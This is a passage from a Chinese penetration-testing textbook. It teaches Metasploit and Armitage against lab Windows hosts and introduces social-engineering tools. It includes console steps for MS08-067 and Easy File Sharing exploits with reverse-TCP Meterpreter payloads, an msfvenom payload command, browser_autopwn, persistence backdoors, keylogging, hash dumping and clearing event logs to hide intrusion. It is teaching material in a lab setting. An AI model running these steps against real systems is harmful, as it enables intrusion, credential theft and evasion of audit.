[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\bf5ed0ed\Screenshot from 2017-07-27 23-22-26.png]
 
图7-3　成功启动之后的Metasploit界面
 
需要注意的是，不用在意Metasploit启动的图案，每次可能都不相同，这次就是一个小牛的图案。图7-3中还给出了当前metasploit的版本为v4.14.25。其中包含了1659个exploits、950个auxiliary、293个post、486个payloads、40个encoders、9个nops。
 
这里面一共提供了6个种类的模块，我们首先来介绍一下常用模块的作用。
 
漏洞渗透模块（exploits）：这类模块正是我们这一章的重点，绝大多数人在发现了目标的漏洞之后，往往不知道接下来如何利用这个漏洞。而漏洞渗透模块则解决了这个问题，每一个模块对应着一个漏洞，发现了目标的漏洞之后，我们无需知道漏洞是如何产生的，甚至无需会编程，只需要知道漏洞的名字，然后执行对应的漏洞模块，就可以实现对目标的入侵。
 
攻击载荷模块（payload）：这类模块就是我们上一章中提到的被控端程序，它们可以帮助我们在目标上完成远程控制操作。通常这些模块既可以单独执行，也可以和漏洞渗透模块一起执行。
 
辅助模块（auxiliary）：进行信息收集的模块，例如一些信息侦查、网络扫描类的工具。
 
后渗透攻击模块（post）：当我们成功地取得目标的控制权之后，就是这类模块大显身手的时候，它可以帮助我们提高控制权限、获取敏感信息、实施跳板攻击等。
 
虽然Metasploit已经极大地简化了这些模块的操作，但是在没有操作手册的情况下，初学者还是会在这里感到无从下手。其实大多数非图形化工具都存在上手困难的问题，所以我们在使用一个命令式工具的时候，执行的第一条命令都是“help”。
 
msf > help
 
这条命令执行完毕之后，Metasploit会将系统中提供的命令都显示在下方。
 
这些命令一共分成以下几个种类。
 
 
 	核心命令core command。
 
 	模块命令module commands。
 
 	任务命令job commands。
 
 	资源命令resource script command。
 
 	数据库后台命令database backend command。
 
 	登录凭证后台命令credentials backend commands。
 

 
7.2　Metasploit的基本命令
 
我们现在首先来熟悉一下关于模块的命令，这类的命令使用最多的就是show、search和use。首先我们来使用show命令查看Metasploit中可以使用的模块。
 
msf > show
 
这样系统就会列举出所有的3000多个模块。如果我们只是希望查看其中的某一个种类的模块，就可以使用命令show加上对应的模块种类，例如查看漏洞渗透模块就可以使用命令：
 
msf > showExploits
 
这时系统会以分成4列的表显示出所有的漏洞渗透模块，见表7-1。
 
表7-1　漏洞渗透模块
 
 
  
   
   	 Name
  
   	 Disclosure Date
  
   	 Rank
  
   	 Description
  
  
 
  
  
   
   	 ……
  
   	 ……
  
   	 ……
  
   	 ……
  
  
 
   
   	 windows/smb/ms08_067_netapi
  
   	 2008-10-28
  
   	 great
  
   	 MS08-067 Microsoft Server Service Relative Path Stack Corruption
  
  
 
   
   	 ……
  
   	 ……
  
   	 ……
  
   	 ……
  
  
 
  

 
这里面漏洞渗透模块的列标题一共分成4个部分，分别是名字（Name）、披露日期（Disclosure Date）、威胁等级（Rank）和威胁描述（Description）。
 
所有的漏洞渗透模块的名字都采用三段式的标准，就是采用“针对的操作系统+针对的服务+模块的具体名称”共同组合而成。例如上例中的windows/smb/ms08_067_netapi模块的命名模式见表7-2。
 
表7-2　漏洞渗透模块的命名
 
 
  
   
   	 针对的操作系统
  
   	 针对的服务
  
   	 模块的具体名称
  
  
 
  
  
   
   	 Windows
  
   	 /smb
  
   	 /ms08_067_netapi
  
  
 
  

 
　
 
披露日期指的是该漏洞发布的日期。
 
Metasploit中漏洞渗透模块威胁等级分为excellent、great、good、normal、average、lowRank、manual。这些等级按照执行效果从好到差来划分，例如manual等级的定义就是该模块几乎不可能执行，而lowRank指的则是这类模块很难执行。normal等级指的是可以执行，但是对目标有严格的要求。而像excellent则表示可以在绝大多数环境下正常执行。因此，我们选择漏洞渗透模块的时候，尽量要选择good以上级别的。
 
我们在上一章中已经发现了目标的系统中存在一个漏洞，那么接下来我们该如何使用Metasploit来对这个漏洞进行渗透呢？
 
7.3　使用Metasploit对操作系统的攻击
 
首先我们以一个黑客历史上最为经典的漏洞来开始Metasploit的学习。从微软推出Windows操作系统以来，2008年爆出的MS08-067漏洞无论从影响力还是破坏力上看都是首屈一指的。首先这个漏洞发现的时候正是Windows XP操作系统风头最盛的时期，当时全世界除了少量服务器之外，几乎所有的计算机中使用的都是Windows系统，而MS08-067漏洞当时对Windows 2000、Windows XP、Windows Server 2003的影响评级为严重，对当时刚刚出现不久的Windows Vista、Windows Server 2008、Windows 7 Beta的影响评级为重要，也就是说在当时几乎所有的计算机中（包括政府、军队、企业、学校以及个人所使用的计算机）都存在着这个漏洞。
 
这个漏洞的破坏力有多大呢？它的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的 RPC 请求，则该漏洞可能允许远程执行代码。尤其是在Windows 2000、Windows XP 和 Windows Server 2003 系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码。
 
试想一下，如果全世界的计算机都被黑客控制，这将是一个什么样的景象呢？而这一切，并不是只有在电影里才会发生的情节，在2008年的时候，因为MS08-067的存在这已经成为了现实。
 
不过随着微软针对这个漏洞的补丁的推出，以及新一代操作系统的普及，这个漏洞产生的阴影渐渐散去。但是这次漏洞的影响力和破坏力却为很多人敲醒了警钟，因此很多国家的政府部门和军队纷纷放弃使用微软的产品，转而使用自行开发的操作系统。
 
好了，现在我们先就这个漏洞来演示一下Metasploit的渗透过程。在这个实例中我们只需要两台计算机，一台存在MS08-067漏洞的Windows XP计算机（IP地址为192.168.169.132），如图7-4所示；一台用来发起攻击的Kali Linux 2计算机（IP地址为192.168.169.130）。
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图7-4　目标Windows XP计算机
 
首先我们需要确定目标系统是否存在ms08_067漏洞，有很多工具可以实现这个检测，这里我们使用Nmap来完成这个任务，这里需要使用到Nmap的一个检测脚本vuln，使用的方法如图7-5所示。
 
[image: 图片 3]
 
图7-5　使用Nmap对目标进行扫描
 
通过图7-5给出的结果可以看出这个主机上存在着MS08_067漏洞。
 
首先要启动Metasploit，然后在其中查找针对MS08_067的渗透模块。
 
msf > search ms08_067
 
查找的结果如图7-6所示。
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图7-6　查找到的ms8_067_netapi模块
 
找到了这个渗透模块之后就可以使用它了，在Metasploit中使用“use+模块名称”的方式来启动一个模块。
 
msf > use exploit/windows/smb/ms08_067_netapi
 
启动了这个模块之后，我们使用“show options”来查看这个模块需要设置的参数。
 
msf exploit(ms08_067_netapi) > show options
 
显示需要设置的选项如图7-7所示。
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图7-7　ms8_067_netapi模块的参数
 
这里面RHOST是目标主机的IP，也就是我们这次实验中的Windows XP的IP地址，我们可以使用set加上参数名称的方式来为这个参数赋值。
 
msf exploit(ms08_067_netapi) > set RHOST 192.168.169.132
 
如果仅进行这个渗透，就设置这一参数即可，因为其他的参数都已经有了默认值。实际上，ms08_067_netapi的作用就是上一章中讲过的代码A，但是仅仅这样还不够，我们还需要代码B来实现控制目标主机的目的。
 
在上一章中，我们已经介绍了如何使用Meterpreter来实现对目标主机的远程控制，那么接下来就介绍如何在ms08_067_netapi模块中嵌入一个Meterpreter，首先在模块中指定一个Payload，这里我们仍然使用上一章介绍过的reverse_tcp，命令为set。
 
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
 
这个Payload需要设置的值包括LPORT和LHOST，我们使用set为这两个参数进行赋值。
 
msf exploit(ms08_067_netapi) > set LHOST 192.168.169.130

LHOST => 192.168.169.130

msf exploit(ms08_067_netapi) > set LPORT 8888

LPORT => 8888
 
到此为止，我们已经完成了ms08_067_netapi模块的全部设置，现在就像弯弓搭箭瞄准了目标，只待发射了。而最后的命令“exploit”正是这个发射的动作，当执行这个命令之后，攻击就开始了。
 
msf exploit(ms08_067_netapi) > exploit
 
静静地等待几秒钟，就可以看到执行的结果了，如图7-8所示。
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图7-8　成功建立的控制会话
 
好了，是不是看到了熟悉的“meterpreter>”了？接下来我们就可以像上一章利用meterpreter控制目标计算机一样操作了。
 
例如我们使用cat命令来查看目标主机C盘中的password.txt文件，如图7-9所示。
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图7-9　使用cat命令查看文件
 
password.txt的内容如图7-10所示。
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图7-10 password.txt的内容
 
切换到Windows XP系统来对比一下。
 
好了，你可以看到利用Metasploit来入侵一台有漏洞的计算机是多么简单的事情了吧。
 
7.4　使用Metasploit对应用程序的攻击
 
由于Windows 7使用了比较安全的机制，所以我们很难像渗透Windows XP那样直接渗透。
 
但是操作系统中不可能不使用任何软件，例如一台服务器，除了要安装操作系统之外，还需要安装对应的Web发布软件。当我们在操作系统上找不到漏洞的时候，就可以将目光移动到上面的应用软件中。
 
例如我们通过扫描发现目标系统上安装了简单文件共享http服务器（英文名字为“Easy File Sharing HTTP Server”），这是一款应用得十分广泛的http服务器软件。但是这款软件在2015年被发现了一个漏洞。随即Metasploit收录了关于这个漏洞的渗透模块，现在我们就利用这个漏洞来完成对一个操作系统为Windows 7的目标进行渗透。
 
简单文件共享http服务器的工作界面如图7-11所示。
 
[image: 图片 1]
 
图7-11　简单文件共享http服务器
 
如果从远程访问这个服务地址，例如http://192.168.169.131，可以得到如图7-12所示的界面，用户输入用户名和密码，就可以完成对文件的存储。
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图7-12　简单文件共享http服务器的登录界面
 
那么我们现在就对这台服务器发起一次渗透测试，首先启动Metasploit，启动界面如图7-13所示。
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图7-13　Metasploit的启动界面
 
我们先用“Search”命令来查找和Easy File Sharing有关的模块。
 
msf > search EasyFileSharing
 
在Metasploit中查找到了两个对应的模块，如图7-14所示。
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图7-14　查找到的EasyFileSharing渗透模块
 
这里我们使用exploit/windows/http/easyfilesharing_seh这个模块，这个渗透模块是2015年年底发布的。
 
msf > use exploit/windows/http/easyfilesharing_seh
 
启动了这个模块之后，我们可以使用“show options”来查看这个模块的选项，如图7-15所示。
 
但是需要注意的是这里只列出了模块所需要的参数，其实我们如果想要利用这个模块控制对方计算机的话，还需要设置一个攻击载荷，这里我们仍然使用最为常用的reverse_tcp。
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图7-15　使用“show options”来查看这个模块的选项
 
msf exploit (easyfilesharing_seh)>set payload windows/meterpreter/reverse_tcp

msf exploit (easyfilesharing_seh)>set lhost 192.168.169.130

msf exploit (easyfilesharing_seh)>set rhost 192.168.169.131

msf exploit (easyfilesharing_seh)>set rport80

msf exploit (easyfilesharing_seh)>exploit
 
设置完成之后，执行的结果如图7-16所示。
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图7-16　使用exploit命令进行渗透
 
从图7-16可以看到我们已经打开了一个Session，也就是开启了对目标（192.168.169.131）的控制。而且我们现在获得了一个Meterpreter，利用它我们就可以完成对目标主机的远程控制。
 
7.5　使用Metasploit对客户端发起攻击
 
前面第7.3节和第7.4两节中介绍的都是主动的攻击方式，除此以外，Metasploit中还提供了大量的被动攻击方式。这种攻击方式的思路很特殊，往往需要得到受害目标用户的配合才能成功。但是在日常生活中，这种攻击方式的成功率往往比主动攻击要高，所以也是重点要防范的对象。
 
许多黑客入侵的案例都是由于受害者点击了恶意链接造成的。这些恶意链接的作用各不相同，但是如果目标使用的是存在漏洞的浏览器，那么就有可能导致整个系统控制权的沦陷。
 
这种攻击的思路是渗透者构造一个攻击用的Web服务器，然后将这个Web服务器的地址发给目标用户，当目标用户使用有漏洞的浏览器打开这个地址的时候，攻击用的Web服务器就会向浏览器发送各种攻击脚本，如果其中某个攻击脚本攻击成功的话，就会在目标主机上建立一个Meterpreter会话。
 
下面我们以实例的方式来介绍这个攻击的详细过程，在Metasploit中有一个browser_autopwn模块。利用这个模块我们就可以轻松地建立起一个攻击用的Web服务器。首先在metasploit中启动这个模块。
 
msf > use auxiliary/server/browser_autopwn
 
接下来使用“show options”来查看这个模块需要设置的参数。
 
msf auxiliary(browser_autopwn) > show options
 
执行的结果如图7-17所示。
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图7-17　查看browser_autopwn模块的选项
 
图7-17中必须的参数一共有3个，其中LHOST填写本机的地址即可，这个地址用来作为实现远程控制的主控端。SRVHOST表示Web服务器的地址，这个地址保持默认即可，也就是0.0.0.0。SRVPORT表示Web服务器的端口，一般设置为80。URIPATH表示Web服务器的目录，一般设置为“/”即可。
 
msf auxiliary(browser_autopwn) > set LHOST 192.168.169.130

LHOST => 192.168.169.130

msf auxiliary(browser_autopwn) > set URIPATH /

URIPATH => /

msf auxiliary(browser_autopwn) > set SRVPORT 80

SRVPORT => 80
 
好了，设置完这些参数之后，就可以启动这个服务器了。如图7-18所示，启动的命令还是“exploit”，执行这个命令就可以在192.168.169.130这个地址建立好一个用来攻击的Web服务器，这个服务器中集成了多个浏览器漏洞。这些漏洞需要一个个地启动，所以我们需要耐心等待所有模块都启动起来。
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图7-18　启动服务器
 
等所有的模块都成功启动之后，我们将这个链接发送给目标主机，这里测试环境下的目标为Windows 7，使用的浏览器为IE 8浏览器，现在，在目标的浏览器上打开这个链接，如图7-19所示。
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图7-19　使用IE 8浏览器访问这个服务器
 
现在我们返回到Kali Linux 2虚拟机，可以看到这时这个服务器已经开始工作了，它开始不断地向目标浏览器发送各种渗透攻击模块，如图7-20所示。
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图7-20　渗透进行中
 
在发送这些渗透模块的过程中，如果目标浏览器存在漏洞的话，针对该漏洞的渗透模块就会利用该漏洞在目标主机上建立起一个和服务器之间的会话，如同图7-21中方框中的内容session 3一样，需要注意的是，并不是所有的会话都是成功的，有的会话可能建立的并不成功，例如图7-21中的session 4。
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图7-21　利用浏览器漏洞建立的会话
 
图7-21中的session 3是一个成功建立的会话，现在即使整个渗透过程没有结束，我们也可以利用这个会话对目标主机进行控制了，首先使用“Ctrl+C”组合键来结束渗透过程，这时会返回到browner_autopwn模块控制，然后使用“back”命令返回到Metasploit的控制。现在这个服务器可能与目标建立了多个会话，所以可以使用“sessions -i”来显示所有的这些会话，关键是要注意这个会话前面的ID，例如现在显示这个会话为3，如图7-22所示。
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图7-22　查看建立的会话
 
这里显示只建立好了一个会话，那么我们就使用这个会话来控制目标主机，使用的命令格式为“sessions -i”加上要使用会话的Id，例如本例中使用会话的Id就是3。
 
msf > sessions -i 3
 
执行的结果如图7-23所示。
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图7-23　切换到Id为3的会话
 
图7-23中出现了我们熟悉的meterpreter命令行控制了，现在就可以按照之前介绍的方式来控制目标了，但是需要注意的是meterpreter必须要附加在目标的一个进程上，如果这个进程结束了，那么meterpreter的控制也会被终结。而现在我们所使用的meterpreter正是附加在目标的浏览器进程中，但是目标用户随时有可能关闭浏览器，这时我们的meterpreter的控制也就中断了，所以必须尽快将这个meterpreter附加到其他进程上，这里可以使用“ps”命令列出目标主机上所有的进程，如图7-24所示。
 
[image: 图片 4]
 
图7-24　使用ps命令列出所有的进程
 
通常我们需要选择一个不会被结束的系统进程，例如系统进程explorer.exe，记住这个进程的pid，也就是2800，如图7-25所示。
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图7-25　查看explorer的pid
 
附加到其他进程的命令为migrate，使用这个命令将meterpreter迁移到进程explorer.exe上，迁移的命令格式为“migrate”加上目标进行的Id。
 
meterpreter > migrate 2800
 
执行的命令如图7-26所示。
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图7-26　成功地将进程迁移到2800
 
成功执行迁移进程之后，我们就可以使用getpid和getuid来查看当前使用的进程和用户名，执行的过程如图7-27所示。
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图7-27　使用getpid和getuid命令
 
现在我们已经成功地渗透进入到目标计算机，现在的meterpreter仅仅是工作在目标主机的内存中，虽然这样的好处是可以躲过很多杀毒软件的查杀，但是如果目标主机执行了重启操作之后，meterpreter就无法使用了。那么我们必须想办法来保持对目标计算机的控制连接。这一点可以有很多方式来实现，这里面我们介绍一种最为有效的方法，那就是在目标计算机上安装一个永久性的后门文件，这样无论是目标主机重启，或者目标主机修复了这个漏洞，我们依然可以使用这个后门文件来控制目标。这里面使用persistence模块来完成这个操作，执行的命令为run。
 
meterpreter > run persistence
 
执行的结果如图7-28所示。
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图7-28　执行persistence模块
 
这个模块的作用不同于之前所使用的meterpreter，这个目标文件将会成为目标系统的一个系统服务。每当目标系统重新启动时，这个服务会随着系统启动而启动，这样就不必担心系统重启造成控制中断了。
 
另外需要考虑的一个问题是，我们对目标系统的渗透过程可以瞒过目标用户的眼睛，但是这一切都会被系统以日志的形式记录下来，如果有专业的人士对这些日志进行审计，就会发现目标系统已经被渗透，甚至找到进行渗透的黑客。所以我们在成功控制目标主机之后还需要清除系统的日志，这一点跟罪犯犯罪之后要清理现场一样。
 
但是需要注意的是，如果我们是出于安全测试目的的话，则不要删除这些日志，因为这些日志可以作为网络安全改进方面的重要参考。
 
删除日志的方法很简单，只需要执行命令clearev即可，图7-29给出了执行的结果。
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图7-29　清除目标系统上的日志
 
好了，到此为止，我们已经详细地介绍了如何使用Metasploit进行被动的攻击。如果你希望详细了解这个工具的用法，可以参阅《精通Metasploit渗透测试》一书。
 
7.6　小结
 
本章介绍了如何将远程控制工具发送到目标主机上，而这一切则要依赖目标系统上的漏洞。鉴于漏洞开发的复杂度较大，我们在学习的过程中选择了使用前人已经写好的针对漏洞的渗透模块代码。本章以网络安全渗透测试工具Metasploit的正式介绍作为开头，这是一款极为流行的框架工具，里面集成了世界上大部分漏洞的渗透模块。然后以实例的形式开始介绍Metasploit框架的使用方法，这是一款极为复杂的工具，本章仅仅对其核心功能进行了介绍。本章一共使用了3个案例来介绍Metasploit的使用方法，首先我们将漏洞历史上最为经典的MS08-067作为案例，讲解了如何针对操作系统进行攻击；然后针对更先进的Windows操作系统（Windows 7或者Windows 10）提供了渗透思路，通常很难直接利用这种操作系统的漏洞，因而我们采用了迂回的方式，找出运行在系统上的软件的漏洞进行渗透；最后我们提供了一种针对目标浏览器的被动入侵方式，这种方式在实际中应用得更为有效。
 
通过对这3个案例的学习，我们学习了Metasploit的基本用法，但是对于初学者来说，Metasploit的命令控制方式是很难掌握的，所以在下一章我们将会介绍Metasploit的图形化操作方法。
 


第8章　 Armitage
 
在第7章中，我们已经用实例展示了Metasploit的强大功能，不过对于初学者来说，命令行是一种十分困难的操作方式。虽然得到了很多经验丰富的黑客的喜爱，但是这款工具在普及的过程中并不顺利，对于这一点，在我这些年的网络安全教育经历中感受十分深刻。学生们对这个工具即使再怎么喜爱，他们中的大多数最终还是止步于Metasploit复杂的命令之前。
 
其实命令行的操作方式之所以让很多人感到困难，主要是由于大多数人从开始就习惯了Windows操作系统以及这个系统中的图形化操作软件。因此如果Metasploit有一个图形化的操作界面，那么学习起来将会是一个十分愉快的过程。
 
Armitage就是一款使用Java语言为Metasploit编写的图形化操作界面，利用它就可以轻松地使用Metasploit中的各种模块来实现自动化攻击。在这一章中，我们将会使用Armitage来演示如何使用Metasploit对目标进行攻击的完整过程，本章的内容包括：
 
 
 	启动Armitage
 
 	使用Armitage生成被控端和主控端
 
 	使用Armitage扫描网络
 
 	使用Armitage针对漏洞进行攻击
 
 	使用Armitage完成渗透之后的后续工作
 

 
8.1　启动Armitage
 
需要注意的是，Armitage本身并不是一款具备渗透能力的软件，实际上它只是Metasploit的图形化操作界面，也就是说如果直接使用Metasploit的话，你必须要通过输入命令完成操作，而Armitage则简化了这些操作，你所做的就如同在Windows里一样，只要用鼠标就可以完成所有的操作。
 
在最新版的Kali Linux 2中，你可以很轻松地找到这个Armitage，如图8-1所示。
 
[image: 图片 14]
 
图8-1　在Apploications中启动Metasploit
 
需要注意的是，在启动Armitage之前，需要先对Metasploit进行配置。
 
如果你使用的是Kali Linux 1.0系列的话，需要输入：
 
Service postgresql start

Service Metasploit start

Service Metasploit stop
 
如果你使用的是Kali Linux 2.0系列的话，就需要输入：
 
/etc/init.d/postgresql start
 
然后输入命令“Armitage”，如图8-2所示。
 
[image: 图片 15]
 
图8-2　在终端中启动Armitage
 
这时你会看到一个提示，如图8-3所示。
 
[image: 图片 16]
 
图8-3　将Metasploit作为RPC服务器启动
 
这里是询问你是否打开Metasploit的RPC服务，我们需要选择“Yes”，然后就是启动的进程，如图8-4所示。注意这里出现“连接被拒绝”时，只需等待即可。
 
[image: 图片 17]
 
图8-4　连接到Metasploit
 
等加载过程结束以后，你就可以看到如图8-5所示的Armitage的工作界面了。
 
[image: 图片 18]
 
图8-5　启动之后的Armitage
 
8.2　使用Armitage生成被控端和主控端
 
下面我们来看一下Armitage的工作界面，如图8-6所示。
 
[image: 图片 19]
 
图8-6　Armitage的工作界面
 
首先我们在区域1中选中payload，然后依次点击“windows”/“meterpreter”，直到找到我们所需要的攻击载荷，如图8-7所示。
 
[image: 图片 20]
 
图8-7　找到meterpreter_reverse_tcp
 
双击这个攻击载荷，就会弹出如图8-8所示的界面。
 
[image: 图片 21]
 
图8-8　对meterpreter_reverse_tcp进行设置
 
图8-8中其实是为windows/meterpreter/revese_tcp这个发出去的攻击载荷创建了一个控制端，Metasploit中也将这个控制端称为handler。但是我们可能要控制多个攻击载荷，所以要将这个handler设置得跟攻击载荷一样。
 
我们之前产生攻击载荷的命令是：
 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.128 LPORT=5000 -f exe -o /root/payload.exe
 
所以这里面唯一不同的地方是所使用的端口，因此我们将端口设置为5000，如图8-9所示。
 
[image: 图片 22]
 
图8-9　将meterpreter_reverse_tcp的LPORT设置为5000
 
这样就在原来的命令行窗口旁边产生了一个新的控制窗口，这个窗口就可以用来接收来自我们刚创建的攻击载荷返回的连接，如图8-10所示。
 
[image: 图片 23]
 
图8-10　自动打开的handler
 
接下来，我们只需要在目标计算机上执行这个payload，就可以使用这个handler来控制目标计算机了。
 
现在将root目录中的payload移动到目标的Windows操作系统计算机中，当这个文件执行之后，我们就可以从远程控制目标了。控制的方式与之前章节中介绍的一样。
 
8.3　使用Armitage扫描网络
 
Armitage中提供了一些常用的扫描功能，这些功能来自于Nmap，这样的话，我们无需再在两个工具之间进行切换。在Armitage中就可以完成所有的这些工作。首先我们使用Nmap来扫描主机系统，默认会扫描同一网段内的所有活跃主机，扫描的方式是单击菜单栏上的Hosts选项，然后在下拉菜单中选中“Nmap Scan”，如图8-11所示。
 
[image: 图片 1]
 
图8-11　在Armitage中使用Nmap对目标进行扫描
 
“Nmap Scan”中一共提供了8种扫描方式，这里面几乎涵盖了Nmap的所有经典扫描方法。其中Intense是深度扫描，Quick是快速扫描，Ping扫描指的是仅仅使用ping命令扫描。这次我们使用一次“Quick Scan（OS detect）”，这是一个快速扫描模式，但是会将操作系统的类型扫描出来。如图8-12所示，会出现一个扫描目标地址框。
 
[image: 图片 2]
 
图8-12 输入要扫描的地址
 
我们这个实例以Kali Linux 2虚拟机所在的网络为目标，本机的地址为192.168.169.130，那么目标就是192.68.169.0/24。填写完毕之后，单击“OK”按钮即可。
 
扫描完成之后，在区域2就会显示出扫描的结果，这些结果会以系统图标的形式显示出来，如图8-13所示。这次一共在192.68.169.0/24发现了4台活跃主机，其中192.168.169.1和192.168.169.133的操作系统类型为Windows 7。192.68.169.132的操作系统类型为Windows XP。
 
接下来需要找出目标系统的漏洞，例如“192.68.169.132”主机的漏洞，正如我们之前使用漏洞扫描工具完成的那样，这一点用Armitage来实现也非常简单，只需要先在区域2处选中“192.68.169.132”主机，单击菜单栏上的Attacks选项，然后在下拉菜单上选中“Find Attacks”按钮即可，如图8-14所示。
 
[image: 图片 3]
 
图8-13　扫描之后发现的活跃主机
 
[image: 图片 4]
 
图8-14　使用“Find Attacks”按钮
 
接下来，Armitage就会调用Metasploit中的模块对目标进行扫描从而来发现漏洞，如图8-15所示。
 
8.4　使用Armitage针对漏洞进行攻击
 
扫描结束以后，会弹出如图8-16所示的一个信息提示框，表示攻击分析已经结束，并且提示现在在“192.68.169.132”主机上单击鼠标右键显示的菜单会多一个选项，这个选项就是“Attack”。单击这个按键，只需要一键就可以完成对目标的攻击。
 
[image: 图片 5]
 
图8-15　开始扫描
 
[image: 图片 6]
 
图8-16　扫描结束
 
单击“OK”按钮之后，再在目标主机上单击鼠标右键就可以看到“Attack”选项，如图8-17所示。
 
[image: 图片 7]
 
图8-17　右键菜单上的“Attack”选项
 
单击Attack就可以显示出当前Metasploit中的所有攻击模块，如图8-18所示。
 
[image: 图片 8]
 
图8-18　右键菜单上Attack选项的功能
 
我们仍然以经典的ms08_067漏洞作为案例，所以这里先选中smb，再在其下拉菜单中选中ms08_067_netapi，如图8-19所示。
 
[image: 图片 9]
 
图8-19　找到ms08_067_netapi选项
 
单击完成之后，就可以开始攻击了，但是我们还需要设置一下利用ms08_067漏洞发送到目标上的Payload，如图8-20所示。
 
[image: 图片 10]
 
图8-20　设置payload
 
这些值默认值就都是设置好的，如果没有特殊的需要，保留默认值即可。然后单击“Launch”即可开始攻击。被成功渗透的主机如图8-21所示。
 
[image: 图片 14]
 
图8-21　被成功渗透的主机
 
攻击成功之后，目标主机图标就会变成红色边框，并且闪电环绕，而且下方会显示出目标主机的名称，这样的主机表示被我们成功地渗透了。
 
8.5　使用Armitage完成渗透之后的后续工作
 
成功地渗透一台主机之后，我们就可以完成各种Meterpreter的任务。在目标主机上单击鼠标右键，可以看到弹出的菜单上多了一个Meterpreter 1选项，如图8-22所示。
 
[image: 图片 15]
 
图8-22　Armitage中Meterpreter提供的功能
 
利用这个Meterpreter我们可以完成以下5个大类的任务，分别如下。
 
 
 	Access，这个大类中的任务主要是跟系统权限有关，例如查看系统哈希值、盗取令牌、提升权限等。
 
 	Interact，这个大类的任务是打开一个用于远程控制的命令，如系统命令行、Meterpreter命令等。
 
 	Explore，这个大类的任务主要是渗透，例如浏览系统文件、显示进程、监视键盘、截图、控制摄像头等。
 
 	Pivoting，这个类的任务主要是将目标主机设置成为跳板。
 
 	ARP Scan，利用目标主机对目标网络进行扫描。
 

 
我们现在就利用Meterpreter来完成几个简单的任务，例如盗取目标主机的系统密码哈希。首先单击Access，然后在弹出菜单中选择“Dump Hashes”，这里一共提供了3种方法，选择第一种“Isass method”，如图8-23所示。
 
[image: 图片 16]
 
图8-23 导出目标主机系统密码的哈希值
 
哈希密码导出成功之后，就会在下面多出一个“Meterpreter 1”的窗口，在这个窗口中会显示出所有的用户名和哈希密码，例如在图8-24中就显示了Administrator和它的密码。
 
[image: 图片 17]
 
图8-24　查看导出的哈希值
 
另外我们也可以使用“Explore”命令大类来完成一些任务，例如浏览目标计算机上的文件。方法也很简单，只需要依次选择Explore/ Browse Files即可，如图8-25所示。
 
[image: 图片 19]
 
图8-25 浏览目标上的文件
 
成功执行这个命令之后，我们可以看见下面多了一个“Files 1”窗口，这个窗口就是目标系统上的资源管理器，框选部分是一个地址栏，下方有4个按钮，分别是上传、创建文件夹、显示驱动盘、刷新4个功能，如图8-26所示。
 
[image: 图片 18]
 
图8-26　查看到的目标主机上的文件
 
“log Keystokes”是一个十分有意思的功能，利用这个模块可以偷偷记录目标用户敲击键盘的动作，使用方法为依次单击“Explore”/“Log Keystrokes”，如图8-27所示。
 
[image: 图片 20]
 
图8-27　键盘监听器
 
这时就会启动一个键盘监听器，保持默认设置即可，如图8-28所示。
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图8-28　键盘监听器的设置
 
单击“Launch”按钮启动这个键盘监听器之后，在下方就会多出一个“Log Keystrokes”窗口，这个窗口中显示了将监听的记录保存到了一个记事本文件中，如图8-29所示。
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图8-29　键盘监听器监听到的结果
 
我们在目标计算机上打开一个记事本程序，随便输入一点内容作为测试，如图8-30所示。
 
[image: 图片 23]
 
图8-30　在目标主机打开一个记事本程序
 
然后我们返回到Armitage来查看一下监听到的内容，如图8-31所示。
 
[image: 图片 24]
 
图8-31　监听到的结果
 
怎么样，Armitage的操作是不是比命令行式的Metasploit简单多了？
 
8.6　小结
 
在这一章中我们引入了Metasploit的图形化操作界面——Armitage，这是一款由Java开发的工具。它本身并不具备渗透功能，但是可以远程操作Metasploit，从而完成Metasploit才能完成的任务。而现在我更建议初学者选择使用Armitage，因为对于刚接触黑客技术的人来说，最为困难的无非就是那些难记的命令了，使用Armitage则可以绕过这些困难，从而将更多的精力放在渗透本身，而不是工具的使用上。
 
在本章开始的时候，我们讲解了如何启动和配置Armitage。接着讲到了Armitage如何生成远程控制工具的主控端和被控端。在Armitage中还集成了Nmap，这样就可以将扫描和渗透两个操作无缝地结合起来，然后我们按照渗透操作的顺序，先后显示如何对目标进行扫描和渗透，以及在成功渗透之后进行的各种操作。这个工具绝对是渗透行业新手的福音，但是很大程度上要依靠目标主机上的漏洞，如果目标及时地安装了所有更新，成功率就会变得很低。从下一章开始，我们将会介绍一种成功率更高的攻击方式，这也是目前最为热门的攻击方式。
 


第9章　社会工程学工具
 
大多数人心目中的黑客往往是这样一种形象，他们不修边幅，挥金如土，工作的时候只需要一台联上互联网的计算机。如果愿意的话，他们坐在家里就可以把美国五角大楼给黑了。所以每当我向客户提出要他们建立并严格执行完善的网络安全管理制度时，他们总是很惊讶的问“这有什么用，难道这能拦得住你们？”虽然我不想承认，但是答案确实是——“拦得住”。
 
绝大多数的黑客入侵并不是单纯依靠技术手段实现的。在现实中，往往就是使用者的一点疏忽导致了网络中的所有防御手段形同虚设。因此，人是网络安全中一个远比设备和程序更重要的因素。而在网络安全中社会工程学所攻击的目标就是人，下面我们先来围绕以下几点展开对社会工程学的概念及一些常见手段的讲解。
 
 
 	社会工程学的概念
 
 	Kali Linux 2系统中的社会工程学工具包
 
 	SET工具包中的网页攻击方法
 
 	在SET工具包中使用Metasploit中模块
 
 	用户名和密码的盗取
 
 	标签页欺骗方式
 
 	页面劫持欺骗方式
 
 	HTA文件攻击欺骗方式
 
 	自动播放文件攻击
 

 
9.1　社会工程学的概念
 
社会工程学是一种通过研究受害者心理，并以此诱使受害者做出配合，从而达到自身目的的方法。其实我一直觉得社会工程学和中国古代的“千术”十分类似，二者都是“欺骗的艺术”。历史上最著名的黑客米特尼克在他的作品《反欺骗的艺术》中第一次提到社会工程学，长期以来在网络安全领域中，社会工程学指的就是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗等危害手段取得自身利益的手法。近年来，利用社会工程学从事犯罪的人数已成迅速上升的趋势，给网络安全造成了极大的隐患。
 
9.2　Kali Linux 2系统中的社会工程学工具包
 
在Kali Linux 2中也包含了一款目前在世界上极为流行的工具——SET。利用这些工具，再加上使用者的演技，常常会让受害者在不知不觉中就掉入到陷阱中。不过限于“当地法律和法规的限制”，这里我们探讨的范围仅限于SET这款工具包的使用方法。
 
